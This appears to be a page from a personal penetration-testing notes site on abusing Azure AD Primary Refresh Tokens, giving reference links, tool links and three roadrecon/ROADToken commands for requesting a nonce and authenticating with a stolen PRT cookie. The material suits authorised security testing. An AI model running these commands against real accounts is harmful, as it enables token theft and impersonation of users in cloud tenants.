snovv
search
⌘Ctrlk
GitBook Assistant
GitBook Assistant
Working...Thinking...
GitBook Assistant
Good evening

I'm here to help you with the docs.

⌘Ctrli
AI Based on your contextquestion-circle
snovv
  • README
  • ⚒️Pentest
    • C2
    • Infrastructure
      • AD
      • Azure AD
        • On-Prem ↔ Cloud
        • PRT Abuse
      • DevOps
      • DBMS
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
    • Password Brute Force
    • Perimeter
    • Shells
    • Web
    • Wi-Fi
  • ⚔️Red Team
    • Basics
    • Infrastructure
    • Development
  • 🐞Exploit Dev
    • BOF
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
    • Networking
    • Virtualization
    • Windows
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. ⚒️Pentestchevron-right
  2. Infrastructurechevron-right
  3. Azure AD

PRT Abuse

Primary Refresh Tokens

  • https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/arrow-up-right

  • https://aadinternals.com/post/prt/arrow-up-right

  • https://posts.specterops.io/an-operators-guide-to-device-joined-hosts-and-the-prt-cookie-bcd0db2812c4arrow-up-right

$ roadrecon auth --prt-init
Cmd > ROADToken.exe <NONCE>
$ [proxychains] roadrecon auth [-d megacorp.db] --prt-cookie <COOKIE> [-ua '<USER_AGENT>']

hashtag
Tools

  • https://github.com/dirkjanm/ROADtokenarrow-up-right

  • https://github.com/leechristensen/RequestAADRefreshToken/arrow-up-right

PreviousOn-Prem → Cloudchevron-leftNextDevOpschevron-right

Last updated 4 hours ago